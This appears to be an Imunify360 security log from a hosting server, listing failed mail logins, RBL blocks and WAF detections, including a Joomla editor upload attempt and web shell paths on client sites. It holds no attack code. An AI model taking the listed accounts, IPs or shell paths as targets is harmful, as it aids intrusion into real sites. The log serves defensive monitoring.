name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 149.34.251.245
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-28.149.34.251.245||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.4.31.215
country_id: 2661886
description:
Jul 25 04:29:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.4.31.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-25 04:29:56 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([142.54.236.102]) [155.4.31.215]:41700: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.129.75.178
country_id: 1835841
description:
Jul 25 04:30:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.129.75.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-07-25 04:30:18 dovecot_login authenticator failed for H=([220.182.14.60]) [121.129.75.178]:62611: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.80.229
country_id: 1814991
description:
Jul 25 04:30:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.80.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.80.229
country_id: 1814991
description:
2026-07-25 04:30:54 dovecot_login authenticator failed for H=(wsip-70-183-226-82.pn.at.cox.net) [111.26.80.229]:54800: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.229.200.226
country_id: 3175395
description:
2026-07-25 04:31:11 dovecot_login authenticator failed for H=2-229-200-226.ip198.fastwebnet.it ([107.181.161.85]) [2.229.200.226]:54564: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.55.242
country_id: 1269750
description:
2026-07-25 04:31:25 dovecot_login authenticator failed for H=([171.217.70.151]) [103.171.55.242]:41828: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.61.127.135
country_id: 1835841
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-33.109.61.127.135||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-25 04:33:04 dovecot_login authenticator failed for H=([211.192.54.219]) [103.67.152.201]:44760: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.189.232
country_id: 2017370
description:
Jul 25 04:33:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.189.232 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.189.232
country_id: 2017370
description:
2026-07-25 04:33:22 dovecot_login authenticator failed for H=([192.111.143.93]) [185.15.189.232]:43752: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.207.37.22
country_id: 1835841
description:
Jul 25 04:33:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.207.37.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.207.37.22
country_id: 1835841
description:
2026-07-25 04:33:53 dovecot_login authenticator failed for H=(net-62-183-82-70.kbrnet.ru) [119.207.37.22]:40407: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.227.228.131
country_id: 1835841
description:
Jul 25 04:34:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.227.228.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-25 04:34:17 dovecot_login authenticator failed for H=([49.124.152.26]) [1.227.228.131]:45088: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.161
country_id: 1814991
description:
2026-07-25 04:36:12 dovecot_login authenticator failed for H=([111.35.36.49]) [27.24.141.161]:33368: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.121.186.125
country_id: 6252001
description:
Jul 25 04:35:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.121.186.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.111
country_id: 1814991
description:
Jul 25 04:35:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.111 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.111
country_id: 1814991
description:
2026-07-25 04:35:46 dovecot_login authenticator failed for H=([189.108.156.41]) [27.24.141.111]:55970: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.161
country_id: 1814991
description:
Jul 25 04:36:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-25 04:35:32 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net ([65.20.205.197]) [50.121.186.125]:59484: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.40.215.162
country_id: 3469034
description:
2026-07-25 04:35:48 dovecot_login authenticator failed for H=([128.185.208.42]) [187.40.215.162]:42514: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.116.66
country_id: 1269750
description:
Jul 25 04:36:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.116.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-25 04:36:47 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([218.25.233.2]) [64.207.225.55]:56320: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-25 04:36:58 dovecot_login authenticator failed for H=([31.192.199.234]) [182.95.116.66]:39098: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.4.16.74
country_id: 3017382
description:
Jul 25 04:37:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.4.16.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.4.16.74
country_id: 3017382
description:
2026-07-25 04:37:11 dovecot_login authenticator failed for H=74.16.4.93.rev.sfr.net ([110.77.150.25]) [93.4.16.74]:51679: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-07-25 04:36:33 dovecot_login authenticator failed for H=(broadband-77-37-162-117.ip.moscow.rt.ru) [119.160.166.237]:41644: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.207.225.55
country_id: 6252001
description:
Jul 25 04:36:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.207.225.55 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 38.110.1.246
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-37.38.110.1.246||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.207.66.154
country_id: 6251999
description:
Jul 25 04:40:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.207.66.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-25 04:40:04 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca ([49.125.201.78]) [24.207.66.154]:53120: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77469916
abuser: 165.22.198.217
country_id: 2750405
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-96cfb0fc57f6ba0d5a7a81ee80c39614.xml.PHP3||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 79.133.126.237
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-40.79.133.126.237||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.159.184.132
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-41.51.159.184.132||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.45.144.201
country_id: 6252001
description:
Jul 25 04:40:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.45.144.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-25 04:40:15 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net ([176.12.132.63]) [66.45.144.201]:54946: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.155.97.58
country_id: 453733
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-42.185.155.97.58||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.61.127.181
country_id: 1835841
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-42.109.61.127.181||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.62.42
country_id: 1814991
description:
2026-07-25 04:43:47 dovecot_login authenticator failed for H=(187-51-198-202.customer.tdatabrasil.net.br) [111.26.62.42]:53398: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.31.109.13
country_id: 1814991
description:
Jul 25 04:43:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.31.109.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.31.109.13
country_id: 1814991
description:
2026-07-25 04:43:35 dovecot_login authenticator failed for H=([222.98.44.222]) [112.31.109.13]:34252: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.62.42
country_id: 1814991
description:
Jul 25 04:43:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.62.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.80.229
country_id: 1814991
description:
Jul 25 04:45:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.80.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-25 04:45:28 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([213.230.64.246]) [83.208.70.70]:46785: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.208.70.70
country_id: 3077311
description:
Jul 25 04:45:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.208.70.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.80.229
country_id: 1814991
description:
2026-07-25 04:45:20 dovecot_login authenticator failed for H=(wsip-70-183-226-82.pn.at.cox.net) [111.26.80.229]:49140: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.243.81.142
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-49.91.243.81.142||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.106.229.190
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-51.103.106.229.190||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.29.51.12
country_id: 1605651
description:
Jul 25 04:51:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.29.51.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.29.51.12
country_id: 1605651
description:
2026-07-25 04:51:52 dovecot_login authenticator failed for H=([222.120.63.29]) [202.29.51.12]:46144: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.62.22
country_id: 1149361
description:
Jul 25 04:51:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.22
country_id: 1149361
description:
2026-07-25 04:51:22 dovecot_login authenticator failed for H=([49.124.146.45]) [149.54.62.22]:45814: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.36.150
country_id: 2510769
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/keralapeople/public_html/wp-content||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.28.162.50
country_id: 2921044
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-53.104.28.162.50||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.61.127.24
country_id: 1835841
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-55.109.61.127.24||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.120.115.152
country_id: 1819730
description:
Jul 25 04:56:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.120.115.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
2026-07-25 04:56:10 dovecot_login authenticator failed for H=n112120115152.netvigator.com (111-70-29-132.emome-ip.hinet.net) [112.120.115.152]:58353: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.51.82
country_id: 1149361
description:
2026-07-25 04:56:28 dovecot_login authenticator failed for H=([213.176.122.32]) [149.54.51.82]:36948: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.181
country_id: 1668284
description:
Jul 25 04:56:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.135.228.28
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-56.45.135.228.28||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.181
country_id: 1668284
description:
2026-07-25 04:56:49 dovecot_login authenticator failed for H=111-70-49-181.emome-ip.hinet.net ([128.185.56.205]) [111.70.49.181]:57365: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.195.31.217
country_id: 1814991
description:
Jul 25 04:57:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.195.31.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.51.82
country_id: 1149361
description:
Jul 25 04:56:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.51.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.195.31.217
country_id: 1814991
description:
2026-07-25 04:57:13 dovecot_login authenticator failed for H=([192.252.208.66]) [120.195.31.217]:33948: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.173.17.17
country_id: 1814991
description:
Jul 25 04:57:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.173.17.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.112.222.151
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:04-58.62.112.222.151||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.247.116.191
country_id: 3865483
description:
2026-07-25 05:00:19 dovecot_login authenticator failed for H=([103.106.193.17]) [190.247.116.191]:37543: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.162.111.205
country_id: 1835841
description:
Jul 25 05:00:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.162.111.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-25 05:00:36 dovecot_login authenticator failed for H=(broadband-95-84-137-185.ip.moscow.rt.ru) [112.162.111.205]:47702: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.51.82
country_id: 1149361
description:
2026-07-25 05:03:39 dovecot_login authenticator failed for H=([65.20.149.26]) [149.54.51.82]:54153: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvacrepairnearme2.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.183.230.195
country_id: 6252001
description:
Jul 25 05:03:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.183.230.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.230.195
country_id: 6252001
description:
2026-07-25 05:03:27 dovecot_login authenticator failed for H=wsip-70-183-230-195.pn.at.cox.net ([180.94.74.94]) [70.183.230.195]:47156: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.51.82
country_id: 1149361
description:
Jul 25 05:03:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.51.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.51
country_id: 130758
description:
Jul 25 05:05:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.51 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.225.192.198
country_id: 1562822
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/b2b/invest_india_keypoints.php HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.116.88.174
country_id: 2088628
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:69078.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fa228cd464fc083f072ffe554d9c94a6d574233f||Title:0x781acf7e||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 05:05:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 05:04:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.114.125.24
country_id: 1814991
description:
Jul 25 05:05:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.114.125.24 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 212.175.228.194
country_id: 298795
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:38297.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:033e29b45fcbbc5aba92998db77ea529e5d1996e||Title:0x0a796c79||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.139.165.143
country_id: 1880251
description:
Jul 25 05:05:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.139.165.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 45.13.186.119
country_id: 241170
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoxpgczi/fonts/filbctv.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.23
country_id: 130758
description:
Jul 25 05:06:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 05:07:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 05:07:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.126.10
country_id: 337996
description:
Jul 25 05:08:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.126.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.10
country_id: 337996
description:
2026-07-25 05:08:08 dovecot_login authenticator failed for H=([125.139.87.30]) [196.189.126.10]:50744: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.167.58
country_id: 6252001
description:
Jul 25 05:08:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.167.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.30
country_id: 1269750
description:
2026-07-25 05:08:19 dovecot_login authenticator failed for H=(host87-250-9-098.etth.mark-itt.net) [27.123.113.30]:56156: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.113.30
country_id: 1269750
description:
Jul 25 05:08:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.113.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.132.42
country_id: 1814991
description:
Jul 25 05:08:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.132.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.208.47
country_id: 1269750
description:
Jul 25 05:09:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.208.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.28
country_id: 130758
description:
Jul 25 05:09:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 05:09:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.220.240
country_id: 1814991
description:
Jul 25 05:10:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.220.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.112.222.46
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-09.62.112.222.46||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 05:11:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 05:10:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.113
country_id: 130758
description:
Jul 25 05:11:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.112.222.212
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-11.62.112.222.212||RSV:8.35||T:APACHE||


